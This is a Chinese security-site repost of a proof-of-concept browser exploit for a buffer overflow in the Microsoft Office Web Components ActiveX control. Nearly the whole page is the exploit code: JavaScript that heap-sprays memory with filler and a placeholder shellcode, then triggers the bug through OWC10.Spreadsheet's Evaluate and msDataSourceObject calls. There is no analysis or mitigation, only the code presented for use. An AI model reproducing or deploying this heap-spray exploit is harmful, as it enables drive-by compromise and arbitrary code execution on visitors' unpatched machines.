首页 网络安全 安全学院 查看内容

Microsoft Office Web Components ActiveX BOF PoC

2009-7-27 10:57 646 0

摘要:   <html>  <body>  <script language="JavaScript">  var shellcode = unescape("evil c...

  <html>  <body>  <script language="JavaScript">  var shellcode = unescape("evil code");  var array = new Array();  var ls = 0x81000-(shellcode.length*2);  var bigblock = unescape("%u0b0c%u0b0C");  while(bigblock.length<ls/2)  {bigblock+=bigblock;}  var lh = bigblock.substring(0,ls/2);  delete bigblock;  for(i=0;i<0x99*2;i++) {  array[i] = lh + lh + shellcode;  }  CollectGarbage();  var obj = new ActiveXObject("OWC10.Spreadsheet");  e=new Array();  e.push(1);  e.push(2);  e.push(0);  e.push(window);  for(i=0;i<e.length;i++){  for(j=0;j<10;j++){  try{  obj.Evaluate(e[i]);  }  catch(e)  {}  }  }  window.status=e[3] +'';  for(j=0;j<10;j++){  try{  obj.msDataSourceObject(e[3]);  }  catch(e)  {}  }  </script>  </body>  </html>
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部